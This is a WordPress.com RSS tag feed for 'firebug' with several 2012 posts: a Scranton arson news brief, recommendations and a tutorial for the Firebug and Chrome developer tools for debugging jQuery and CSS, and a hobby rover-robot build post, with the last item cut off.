<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>firebug &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/firebug/</link>
	<description>Feed of posts on WordPress.com tagged "firebug"</description>
	<pubDate>Wed, 22 May 2013 13:54:15 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Another Suspicious Fire in Scranton]]></title>
<link>http://wnep.com/2012/09/21/another-suspicious-fire-in-scranton/</link>
<pubDate>Fri, 21 Sep 2012 11:27:23 +0000</pubDate>
<dc:creator>Amy Brodrick</dc:creator>
<guid>http://wnep.com/2012/09/21/another-suspicious-fire-in-scranton/</guid>
<description><![CDATA[[ooyala code="Jlb3N4NToCXn3hH5L7mjlnaE4Ru03rkM"] SCRANTON- Fire crews were called out again for a fi]]></description>
<content:encoded><![CDATA[<p>[ooyala code="Jlb3N4NToCXn3hH5L7mjlnaE4Ru03rkM"]</p>
<p>SCRANTON- Fire crews were called out again for a fire on Quincy Avenue in Scranton.</p>
<p>Scranton police say someone torched some furniture on the porch of a home. Police believe this is the same firebug that is responsible for other <a href="http://wnep.com/2012/09/20/scranton-fire-officials-arsonist-on-the-loose/">fires</a> throughout Scranton.</p>
<p>This is the eighth fire reported to police.</p>
<p>There was no damage to the home, the residents put the fire out themselves.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Use FireBug to preview and test your CSS change]]></title>
<link>http://blog.deconetwork.com/2012/09/20/use-firebug-to-preview-and-test-your-css-changes/</link>
<pubDate>Thu, 20 Sep 2012 20:19:28 +0000</pubDate>
<dc:creator>Brenden Prazner</dc:creator>
<guid>http://blog.deconetwork.com/2012/09/20/use-firebug-to-preview-and-test-your-css-changes/</guid>
<description><![CDATA[If you&#8217;ve never tried FireBug I strongly recommend you do. It&#8217;s a great plug-in for Fire]]></description>
<content:encoded><![CDATA[<p><a href="http://deconetwork.files.wordpress.com/2012/09/firebug.jpg"><img class="aligncenter size-full wp-image-1375" title="FireBug" src="http://deconetwork.files.wordpress.com/2012/09/firebug.jpg?w=211&#038;h=168" alt="" width="211" height="168" /></a></p>
<p>If you&#8217;ve never tried <a href="http://getfirebug.com/">FireBug</a> I strongly recommend you do. It&#8217;s a great plug-in for FireFox and Chrome to help you preview and test your CSS changes your website without affecting how your site looks like to other browsers.</p>
<p>Essentially it lets you edit the HTML and CSS on your site while it is live but only you on your local PC will see these changes. When you are happy with the changes you can copy the CSS code out and paste it into your real site and the changes will then be live for everyone to see.</p>
<p>You can download <a href="http://getfirebug.com/">FireBug</a> at <a href="http://getfirebug.com/">http://getfirebug.com/</a>. The intro video is a little dry and covers lots of stuff that may not be relevant for you, so check out this great intro video on editing CSS in FireBug:</p>
<span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='640' height='390' src='http://www.youtube.com/embed/3KdNRZS-uSg?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span>
]]></content:encoded>
</item>
<item>
<title><![CDATA[jQuery and browser developer tools]]></title>
<link>http://sitepop.wordpress.com/2012/09/17/jquery-and-browser-developer-tools/</link>
<pubDate>Mon, 17 Sep 2012 19:50:44 +0000</pubDate>
<dc:creator>Donald Howard</dc:creator>
<guid>http://sitepop.wordpress.com/2012/09/17/jquery-and-browser-developer-tools/</guid>
<description><![CDATA[p jQuery and browser developer tools p The jQuery library makes client-side development a lot easier]]></description>
<content:encoded><![CDATA[<h2><span style="color:#ffffff;">p</span><a href="http://sitepop.files.wordpress.com/2012/02/sitepop_legend.jpg"><img class="alignright size-medium wp-image-372" title="SitePOP_Legend" alt="" src="http://sitepop.files.wordpress.com/2012/02/sitepop_legend.jpg?w=300&#038;h=150" height="150" width="300" /></a></h2>
<h2>jQuery and browser developer tools</h2>
<h2><span style="color:#ffffff;">p</span></h2>
<p>The jQuery library makes client-side development a lot easier but by its nature there are many components (HTML, CSS, Ajax, JavaScript) that have to work together. And this makes it difficult to debug. Enter developer tools. All major browsers make one or more developer tools available to you. If you develop client-side code of any significance you absolutely need the support of such a tool. I currently do most of my client-side development using Google Chrome so I have become familiar with its native debugging capability. Of course when you are dealing with client-side development you cannot depend on just one browser or its tools. You should generally be testing your application on each of the major browsers you want or need to support. Fortunately the major debug requirements I am going to cover in this session have fairly similar capabilities across all major browser types (GC, IE9, Opera, Safari, and FF). I&#8217;m talking about their current releases.</p>
<p>This is by no means a in-depth look into any browser&#8217;s developer tool capabilities. Instead I am going to focus on where I find I use the tools most often. In essence I am going to point you to a tool window that will help you diagnose a problem. I&#8217;m not going to explain all of the buttons, most are self-explanatory nor will I provide detail examples. Assuming you will stumble where I stumble this will provide a good foundation that you can expand from as needed.</p>
<p>I&#8217;m going to start looking at debugging as it applies to simple jQuery code. You are all familiar with using the JavaScript &#8216;alert()&#8217; function. With developer tools you have a new way to generate useful information at any point in your code that is a little less intrusive. Most alerts are flags to show us that we have reached a specific function or the value of a key variable at some point or the value of an argument we passed. All of these requirements can be delivered using the &#8216;developer tool console&#8217; using this simple form of statement:</p>
<p style="text-align:center;"><span style="color:#993366;">console.log(&#8216;variable valResult is &#8211; &#8216; + valResult);</span></p>
<p>The console in Google Chrome (GC) looks like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_consolelog1.jpg"><img class="aligncenter size-full wp-image-1174" title="GC_ConsoleLog1" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_consolelog1.jpg?w=500&#038;h=269" height="269" width="500" /></a></p>
<p>Note that GC gives you the file and the line number of the log message along with the value (true) of the variable at that point. The major benefit of &#8216;console.log()&#8217; over &#8216;alert()&#8217; is that there is no pause in the code. This can be very important with all of the asynchronous stuff we do with jQuery and client-side in general.</p>
<p>This and errors are pretty much all I use the console for. Anytime I have a JavaScript error in my code I receive a red dot with a number indicating the number of errors in the lower tight hand corner. In GC this would look like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_consoleerr1.jpg"><img class="aligncenter size-full wp-image-1172" title="GC_ConsoleErr1" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_consoleerr1.jpg?w=500&#038;h=269" height="269" width="500" /></a></p>
<p>You will have to click on the &#8216;All&#8217; or &#8216;Errors&#8217; buttons along the bottom of the window to get the information on the error. Again the tool provides the file and line number where the error occurred.</p>
<p>Clicking on the arrow icon to the left of the error message you can get a small trace of the logic flow just prior to the error.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_consoleerr2.jpg"><img class="aligncenter size-full wp-image-1173" title="GC_ConsoleErr2" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_consoleerr2.jpg?w=500&#038;h=269" height="269" width="500" /></a></p>
<p>Then clicking on the file and line number along the right you can go directly to the error in the source code, as follows:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_sourceerr1.jpg"><img class="aligncenter size-full wp-image-1190" title="GC_SourceErr1" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_sourceerr1.jpg?w=500&#038;h=269" height="269" width="500" /></a></p>
<p>And now we are in my favorite window in the tool. This is where I find and correct most of my logic errors. I&#8217;m going to expand the window to better see the features of the &#8216;source&#8217; window. The main reason I come to this window is to view local variables, set watch expressions, set breakpoints, and to step through the script. This little window is a tremendous tool.</p>
<p>Lets start with setting breakpoints and stepping through the logic. These two always go together in my debugging sessions. I think we can all relate to getting lost in our logic from time to time. Everything looks right but the stupid thing is not working. Lets use this snippet of logic from a startSlideshow() function.</p>
<address><span style="color:#993366;">     function startSlideshow(){</span></address>
<address><span style="color:#993366;">          var target, idx=-1, thumb, $thumbs, cnt, spd=20000;</span></address>
<address><span style="color:#993366;">          $thumbs = $(&#8216;td.&#8217;+THUMB_FRAME+&#8217; img&#8217;);</span></address>
<address><span style="color:#993366;">          thumb = $thumbs.get(0);</span></address>
<address><span style="color:#993366;">          $(&#8216;div.masterContainer button&#8217;).hide();</span></address>
<address><span style="color:#993366;">          cnt = ($(thumb).data(&#8216;tData&#8217;).thumbNum)-1;</span></address>
<address><span style="color:#993366;">          showTime=setInterval(function(){</span></address>
<address><span style="color:#993366;">               cnt++;</span></address>
<address><span style="color:#993366;">               idx = getThumbImageIndex(cnt,$thumbs);</span></address>
<address><span style="color:#993366;">               $thumbs = $(&#8216;td.&#8217;+THUMB_FRAME+&#8217; img&#8217;);</span></address>
<address><span style="color:#993366;">               target = $thumbs.get(idx);</span></address>
<address><span style="color:#993366;">               implementThumbClick(target);</span></address>
<address><span style="color:#993366;">               if(cnt==$allThumbs.length){cnt=0;}</span></address>
<address><span style="color:#993366;">          },spd);</span></address>
<address><span style="color:#993366;">     }</span></address>
<address> </address>
<p>This just cycles through our thumbnails and triggers the necessary image logic to display the next image in sequence. Leave it to me to make a mess of something like this. Developer Tools to the rescue.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_sourcebreak1.jpg"><img class="aligncenter size-full wp-image-1186" title="GC_SourceBreak1" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_sourcebreak1.jpg?w=500&#038;h=231" height="231" width="500" /></a></p>
<p>When I&#8217;m sick of noodling over a problem I generally go to the &#8216;source&#8217; window in the GC tool and set a lot of breakpoints wherever I think the problem is. Note that you can set a single breakpoint and step through the logic but in jQuery this will take you into the jQuery library where you can step for five minutes before you get back to your code. If you want to stay with your code and skip all of the jQuery library stuff use breaks as shown above. I generally assume the jQuery works and mine does not. That has always been a good assumption. That is not to say you cannot learn a lot browsing the jQuery library, you can but there is a better time to do that.</p>
<p>Note the breakpoints that we have set show in the window to the right, each with its own checkbox. If we wish we can remove a breakpoint temporarily by removing the check from the checkbox. Now once we have set our breakpoints we execute the application and navigate to the problem area until we hit our first breakpoint. That should look something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_sourcebreak2.jpg"><img class="aligncenter size-full wp-image-1187" title="GC_SourceBreak2" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_sourcebreak2.jpg?w=500&#038;h=231" height="231" width="500" /></a></p>
<p>Look at all of this great information. We have passed the lines in the code where the $thumbs and thumb variables have been defined and we can see the results of those assignments in the window to the right. Clicking the little arrow to the left of the variable can provide you with a ton more information as shown here for our &#8216;thumb&#8217; variable. Each arrow hides even more information.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_sourcebreak2a.jpg"><img class="aligncenter size-full wp-image-1188" title="GC_SourceBreak2a" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_sourcebreak2a.jpg?w=323&#038;h=394" height="394" width="323" /></a></p>
<p>This information not only helps me to debug my logic it often helps me understand the underlying principles of client-side programming.</p>
<p>To jump from one breakpoint to another you will use the execute icon (not the step icon) a bar followed by a right arrowhead (<strong>&#124;&#62;</strong>). I&#8217;ve got to warn you that it is easy to get lazy and go right to the tools when the logic isn&#8217;t firing right away. I fight this tendency. I think it leads to sloppy programming and a lot of refactoring, but do what works for you.</p>
<p>If you have variables that are not local you will have to create a watch expression as we did below for the &#8216;showTime&#8217; variable. This variable represents our time interval event.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_sourcebreak2b.jpg"><img class="aligncenter size-full wp-image-1189" title="GC_SourceBreak2b" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_sourcebreak2b.jpg?w=500&#038;h=199" height="199" width="500" /></a></p>
<p>The options are endless.</p>
<p>Next lets take a look at the &#8216;Elements&#8217; window. This is where I go when the logic looks to be working but I am not seeing the results I am looking for. This is where you often end up when the components are not all cooperating (CSS, jQuery, and HTML). The basic Element window looks something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_elementsbasic1.jpg"><img class="aligncenter size-full wp-image-1175" title="GC_ElementsBasic1" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_elementsbasic1.jpg?w=500&#038;h=221" height="221" width="500" /></a></p>
<p>This is a great window. I may not need it as often as the &#8216;Sources&#8217; window but I have used each of the dropdowns to the right with the exception of DOM breakpoints to great effect. To get a good feel for the window lets drill down in our document to a specific element.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_elementscomputedstyle1.jpg"><img class="aligncenter size-full wp-image-1176" title="GC_ElementsComputedStyle1" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_elementscomputedstyle1.jpg?w=500&#038;h=225" height="225" width="500" /></a></p>
<p>Selecting an element from the DOM tree we can view in the right computed style for the selected div element. This is essentially the CSS styles as the rendering engine perceives them.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_elementsstyles1.jpg"><img class="aligncenter size-full wp-image-1178" title="GC_ElementsStyles1" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_elementsstyles1.jpg?w=500&#038;h=225" height="225" width="500" /></a></p>
<p>Then you have the Style attributes as shown in the panel to the right above. What I love about this panel is the ability to toggle on and off any of the attributes and see immediately the effect that attribute, in combination with the others, has on the display.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_elementsmetrics1.jpg"><img class="aligncenter size-full wp-image-1177" title="GC_ElementsMetrics1" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_elementsmetrics1.jpg?w=500&#038;h=225" height="225" width="500" /></a></p>
<p>When you are trying to get elements positioned exactly on a page the Metrics panel is what you want. I cannot tell you how many times I have found a browsers default margin or padding has totally dorked up what I was trying to accomplish until I discovered the reason and created an override.</p>
<p>All and all this is the second most popular window for me.</p>
<p>The last window I am going to cover is the network window. When working with Ajax, I use this to confirm the information is being transmitted both ways correctly, allowing me to focus on all the other issues. I also use this window when working with code that deals with a lot of images. Lets start with a little Ajax.</p>
<p>Client-side we use Ajax to send data to and retrieve data from a Server, generally asynchronously. An Ajax request sent from the client to the server is known as an XMLHttpRequest or XHR for short. Below I sent &#8216;form data&#8217; from the client to the server. As you can see our GC Network panel provides us with all sorts of information regarding the request. Not the least important of which is the status. The HTML status code 200 means success or OK. Though knowing that the Ajax call was a success does not necessarily mean that the communication was a success. Several things can go wrong with a transaction beyond the Ajax component, such as, corrupt data, SQL errors, DB errors, etc.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_networkxhr1.jpg"><img class="aligncenter size-full wp-image-1182" title="GC_NetworkXHR1" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_networkxhr1.jpg?w=500&#038;h=269" height="269" width="500" /></a></p>
<p>Yup this is good data but it&#8217;s not enough. You can get additional detail about any displayed XHR message by clicking on the file shown in the Name column. In this example you would click on &#8216;ajaxVolSave.php&#8217; which represents the target for our form data (a Volunteer Form). Below my tab descriptions got truncated. They should read Headers, Preview, Response, Cookies, and Timing.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_networkxhrheader2.jpg"><img class="aligncenter size-full wp-image-1183" title="GC_NetworkXHRHeader2" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_networkxhrheader2.jpg?w=500&#038;h=269" height="269" width="500" /></a></p>
<p>Starting with the Header tab we can see the Request Headers, Form Data, and Response Headers that were components of this transaction. I find form data to be especially important when first developing my Ajax logic. Clicking on the arrow head to the left of the &#8216;Form Data&#8217; category I can view the detail of the data that was sent. In this example I sent an object and you can see the key/value pairs for each of the 15 properties.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_networkxhrheader3.jpg"><img class="aligncenter size-full wp-image-1184" title="GC_NetworkXHRHeader3" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_networkxhrheader3.jpg?w=472&#038;h=299" height="299" width="472" /></a></p>
<p>Just like most debugging seeing the details is a great help. Now that we know the data has arrived correctly we can deal with the results. In this example both Preview and Response show the same information – the data that is being returned to the client. In this case I have created a response object that will tell the client procedure that made the call, if the complete process was a success. If an error occurred the error would be documented and returned to the client to be used as appropriate.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_networkxhrpreview2.jpg"><img class="aligncenter size-full wp-image-1185" title="GC_NetworkXHRPreview2" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_networkxhrpreview2.jpg?w=500&#038;h=280" height="280" width="500" /></a></p>
<p>Now dealing with things like Images is a slightly different challenge. Images can cause problems for the User experience, generally because of their size. Depending on the number of images you are loading and the method used you may find the Network tabs information helpful when trying to minimize delays. Just like with an Ajax request (XHR) we can view the loading of our image files by clicking the &#8216;Images&#8217; button along the bottom of the window from within the Network panel.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_networkimg200.jpg"><img class="aligncenter size-full wp-image-1179" title="GC_NetworkImg200" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_networkimg200.jpg?w=500&#038;h=279" height="279" width="500" /></a></p>
<p>In the example above two images are retrieved from the server using the &#8216;Get&#8217; method. Note that I am requesting these images from a localhost residing on my development machine. If you are using a share hosting service you may not get this kind of response. Indeed you will need to become familiar with not only your own User demand profile but those of the other sites that you share the server with.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_networkimg304.jpg"><img class="aligncenter size-full wp-image-1180" title="GC_NetworkImg304" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_networkimg304.jpg?w=500&#038;h=279" height="279" width="500" /></a></p>
<p>A browser will cache an image once it has been retrieved and this should improve performance for future requests for the same image. Note the HTML status code 304 – indicating no change – is the standard response for retrieving from the cache. Sometimes you would prefer to look at the results without caching. To do this you open the GC Tools control window by clicking on the gear icon in the lower right corner of the window. Once opened you should see the following:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/gc_networkimgdisablecache.jpg"><img class="aligncenter size-full wp-image-1181" title="GC_NetworkImgDisableCache" alt="" src="http://sitepop.files.wordpress.com/2012/11/gc_networkimgdisablecache.jpg?w=500&#038;h=279" height="279" width="500" /></a></p>
<p>Place a check mark in the checkbox to disable the browser&#8217;s cache. Now when you next refresh the page the browser will again go to the server and retrieve all of the images needed for that page.</p>
<p>Safari uses the same embedded developer tool as Google Chrome though with some different styling. Here are the other major developer tools you will see as you test the application on the different browsers.</p>
<p>FIREBUG Developer Tool</p>
<p>Console – note use &#8216;console.info(&#8216; &#8216;);&#8217; instead of &#8216;console.log(&#8216; &#8216;);&#8217;</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/fb_console1.jpg"><img class="aligncenter size-full wp-image-1167" title="FB_Console1" alt="" src="http://sitepop.files.wordpress.com/2012/11/fb_console1.jpg?w=500&#038;h=219" height="219" width="500" /></a></p>
<p>Scripts in place of Sources</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/fb_script1.jpg"><img class="aligncenter size-full wp-image-1170" title="FB_Script1" alt="" src="http://sitepop.files.wordpress.com/2012/11/fb_script1.jpg?w=500&#038;h=211" height="211" width="500" /></a></p>
<p>HTML in place of Elements</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/fb_html1.jpg"><img class="aligncenter size-full wp-image-1168" title="FB_HTML1" alt="" src="http://sitepop.files.wordpress.com/2012/11/fb_html1.jpg?w=500&#038;h=212" height="212" width="500" /></a></p>
<p>Net in place of Network</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/fb_net1.jpg"><img class="aligncenter size-full wp-image-1169" title="FB_Net1" alt="" src="http://sitepop.files.wordpress.com/2012/11/fb_net1.jpg?w=500&#038;h=212" height="212" width="500" /></a></p>
<p>OPERA Developer Tool (Dragonfly)</p>
<p>Console</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/od_console1.jpg"><img class="aligncenter size-full wp-image-1195" title="OD_Console1" alt="" src="http://sitepop.files.wordpress.com/2012/11/od_console1.jpg?w=500&#038;h=219" height="219" width="500" /></a></p>
<p>Scripts in place of Sources</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/od_script1.jpg"><img class="aligncenter size-full wp-image-1198" title="OD_Script1" alt="" src="http://sitepop.files.wordpress.com/2012/11/od_script1.jpg?w=500&#038;h=219" height="219" width="500" /></a></p>
<p>Documents in place of Elements</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/od_documents1.jpg"><img class="aligncenter size-full wp-image-1196" title="OD_Documents1" alt="" src="http://sitepop.files.wordpress.com/2012/11/od_documents1.jpg?w=500&#038;h=219" height="219" width="500" /></a></p>
<p>Network</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/od_network1.jpg"><img class="aligncenter size-full wp-image-1197" title="OD_Network1" alt="" src="http://sitepop.files.wordpress.com/2012/11/od_network1.jpg?w=500&#038;h=219" height="219" width="500" /></a></p>
<p>INTERNET EXPLORER 9 Developer Tool</p>
<p>Console</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/ie9_console1.jpg"><img class="aligncenter size-full wp-image-1191" title="IE9_Console1" alt="" src="http://sitepop.files.wordpress.com/2012/11/ie9_console1.jpg?w=500&#038;h=160" height="160" width="500" /></a></p>
<p>Script in place of Sources</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/ie9_script1.jpg"><img class="aligncenter size-full wp-image-1194" title="IE9_Script1" alt="" src="http://sitepop.files.wordpress.com/2012/11/ie9_script1.jpg?w=500&#038;h=161" height="161" width="500" /></a></p>
<p>HTML in place of Elements</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/ie9_html1.jpg"><img class="aligncenter size-full wp-image-1192" title="IE9_HTML1" alt="" src="http://sitepop.files.wordpress.com/2012/11/ie9_html1.jpg?w=500&#038;h=161" height="161" width="500" /></a></p>
<p>Network</p>
<p><a href="http://sitepop.files.wordpress.com/2012/11/ie9_network1.jpg"><img class="aligncenter size-full wp-image-1193" title="IE9_Network1" alt="" src="http://sitepop.files.wordpress.com/2012/11/ie9_network1.jpg?w=500&#038;h=160" height="160" width="500" /></a></p>
<p>We have barely skimmed the surface of debugging and developer tools. I hope I have shown you enough to convince you that they are invaluable and are well worth the time it will take you to master them. If you want to program like a pro then you are going to need to understand and use the browser developer tools available to you.</p>
<p>The user forums are full of people asking questions that you just know they would not need to be asking if they used any of these great developer tools. I don&#8217;t resent their questions, I just wish they would make their own lives a little easier. I would not want to try and tackle a significant jQuery project without these tools. I actually predate these tools by quite a bit and though JavaScript was not used as heavily in those days, I can tell you debugging any non-trivial JavaScript adventure in the bad old days was not easy.</p>
<p>Enjoy.</p>
<p>Don</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a Wordpress site - a tool to make coding easier]]></title>
<link>http://michelecarbery.wordpress.com/2012/09/15/building-a-wordpress-site-a-tool-to-make-coding-easier/</link>
<pubDate>Sat, 15 Sep 2012 10:48:15 +0000</pubDate>
<dc:creator>Michele Carbery</dc:creator>
<guid>http://michelecarbery.wordpress.com/2012/09/15/building-a-wordpress-site-a-tool-to-make-coding-easier/</guid>
<description><![CDATA[I&#8217;m in the process of building a new WordPress website.  Although I started out with a very he]]></description>
<content:encoded><![CDATA[<p><a href="https://getfirebug.com/whatisfirebug" target="_blank"><img class="alignleft  wp-image-1151" style="border:0 none;" title="firebuglogo" src="http://michelecarbery.files.wordpress.com/2012/09/firebuglogo.jpg?w=125&#038;h=125" alt="" width="125" height="125" /></a></p>
<p>I&#8217;m in the process of building a new WordPress website.  Although I started out with a very helpful theme as a basis, quite a bit of code change has been required.  <a href="https://getfirebug.com/whatisfirebug" target="_blank">Firebug</a> is a tool that integrates with Firefox web browser and I&#8217;ve found it incredibly helpful when needing to identify the pieces of code that need changing.  Firebug also helps you see changes to font sizes etc. in real-time before applying them.  I highly recommend it.  Thank you to the<a href="https://addons.mozilla.org/en-US/firefox/addon/firebug/developers" target="_blank"> developers</a>!</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Born of the Firebug rover or an old friend is back]]></title>
<link>http://fleshandmachines.wordpress.com/2012/09/10/born-of-the-firebug-rover-or-an-old-friend-is-back/</link>
<pubDate>Mon, 10 Sep 2012 19:55:33 +0000</pubDate>
<dc:creator>apaloczi</dc:creator>
<guid>http://fleshandmachines.wordpress.com/2012/09/10/born-of-the-firebug-rover-or-an-old-friend-is-back/</guid>
<description><![CDATA[Yesterday we went to our evil genius friend  to ask him to make a new rover for us. Instead of makin]]></description>
<content:encoded><![CDATA[<p>Yesterday we went to our evil genius friend  to ask him to make a new rover for us. Instead of making a new one we ended up reviving an old rover.</p>
<p>This rover was our robot in the competition of <a href="http://www.magyarokamarson.hu/weblap2011/index_elemei/versenylinkek2011.html">Magyarok a Marson 2011</a> (Hungarian on Mars). The competition was similar to a capture the flag game, with four rovers on the field at the same time.<br />
We weren&#8217;t that experienced that time (and our budge was low) so the project failed. We were good in the first round but unfortunately at the second round some smoke has been made and the motorcontroller went to the robo-heaven. Also we smoked an 25A car fuse, yeah something was very bad in our design. We didn&#8217;t have the automatic control in time so we used the manual version. In this case we had to use 15 sec delay between two command to follow the rules. We started the blog roughly after two months to the competition. Here is a picture of the rover at that time.<a href="http://fleshandmachines.files.wordpress.com/2012/09/rover_leftside.jpg"><img class="alignnone size-full wp-image-772" title="rover_leftside" src="http://fleshandmachines.files.wordpress.com/2012/09/rover_leftside.jpg?w=500&#038;h=340" alt="" width="500" height="340" /></a><br />
<!--more--><br />
After some talk we took action, and used Bence&#8217;s motor controller. It&#8217;s double channel so we can control 2 different motors completely but we plugged each side (a pair of motors) to each control so this way we can use four motors instead of just two.<br />
Here are the videos and pics:<a href="http://www.youtube.com/watch?v=9m9ne282aU8&#38;feature=g-all-u"><br />
</a></p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='640' height='390' src='http://www.youtube.com/embed/9m9ne282aU8?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p><a href="http://fleshandmachines.files.wordpress.com/2012/09/20120908_013018.jpg"><img class="alignnone size-full wp-image-776" title="20120908_013018" src="http://fleshandmachines.files.wordpress.com/2012/09/20120908_013018.jpg?w=549&#038;h=411" alt="" width="549" height="411" />Too fast, one wheel went away</a><br />
<a href="http://fleshandmachines.files.wordpress.com/2012/09/20120908_001124.jpg"><img class="alignnone size-full wp-image-775" title="20120908_001124" src="http://fleshandmachines.files.wordpress.com/2012/09/20120908_001124.jpg?w=549&#038;h=411" alt="" width="549" height="411" />Testing the prototype controller</a><br />
<a href="http://fleshandmachines.files.wordpress.com/2012/09/20120908_001032.jpg"><img class="alignnone size-full wp-image-774" title="20120908_001032" src="http://fleshandmachines.files.wordpress.com/2012/09/20120908_001032.jpg?w=549&#038;h=411" alt="" width="549" height="411" />part 2</a></p>
<p>The motors are 24V. The motorcontroller is from ebay you can check one of it&#8217;s successors on the link below:</p>
<p><a href="http://www.ebay.com/itm/High-Current-Stepper-Dual-DC-Motor-Driver-Module-PWM-Signal-Control-Board-/320967349902?pt=LH_DefaultDomain_0&#38;hash=item4abb25168e">http://www.ebay.com/itm/High-Current-Stepper-Dual-DC-Motor-Driver-Module-PWM-Signal-Control-Board-/320967349902?pt=LH_DefaultDomain_0&#38;hash=item4abb25168e</a></p>
<p>The BeagleBone was above all: wifi support, motor control, web interface.</p>
<p>The hardware consists of a lipo battery (5400 mah, 14,8v, serves a lot better than the 11.1V version), voltage stabilizator, motor controller, BeagleBone, wifi stick, usb hub, webcam.</p>
<p>Meet the revived rover: Firebug!</p>
<p>( <a href="http://en.wikipedia.org/wiki/Firebug">http://en.wikipedia.org/wiki/Firebug</a>)</p>
<p><a href="http://fleshandmachines.files.wordpress.com/2012/09/sam_1103.jpg"><img class="aligncenter size-medium wp-image-783" title="SAM_1103" src="http://fleshandmachines.files.wordpress.com/2012/09/sam_1103.jpg?w=300&#038;h=225" alt="" width="300" height="225" /></a></p>
<p>In action:</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='640' height='390' src='http://www.youtube.com/embed/sXdoRQtxYRQ?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Tools that helps in exploring and modifying web pages]]></title>
<link>http://upcomingtechies.wordpress.com/2012/09/08/tools-that-helps-in-exploring-and-modifying-web-pages/</link>
<pubDate>Sat, 08 Sep 2012 20:20:37 +0000</pubDate>
<dc:creator>upcomingtechies</dc:creator>
<guid>http://upcomingtechies.wordpress.com/2012/09/08/tools-that-helps-in-exploring-and-modifying-web-pages/</guid>
<description><![CDATA[This post provides you some information about the tools that helps in exploring and modirfying DOM o]]></description>
<content:encoded><![CDATA[<p>This post provides you some information about the tools that helps in exploring and modirfying DOM objects, validate html, css and rss feed links of a web page. This also help us in verifying layout dimensions of elements and alignments of objects in Webpage.</p>
<p>Here are the tools for different browsers:</p>
<p>Develope tool  bar: IE browsers, chrome and safari</p>
<p>Firebug : firefox</p>
<p>These tools also helps in debugging the page code, tracking network of the page, verifies the execution time of javascript functions of a web page and check the memory distribution among the page’s javascript objects and related DOM objects.</p>
<p>Developer tool bar of  different browsers are</p>
<p>Developer tool for IE browser:</p>
<p><a href="http://upcomingtechies.files.wordpress.com/2012/09/iedtb2.png"><img class="size-full wp-image" alt="Image" src="http://upcomingtechies.files.wordpress.com/2012/09/iedtb2.png?w=799&#038;h=558" width="799" height="558" /></a></p>
<p>Firebug for Firefox:</p>
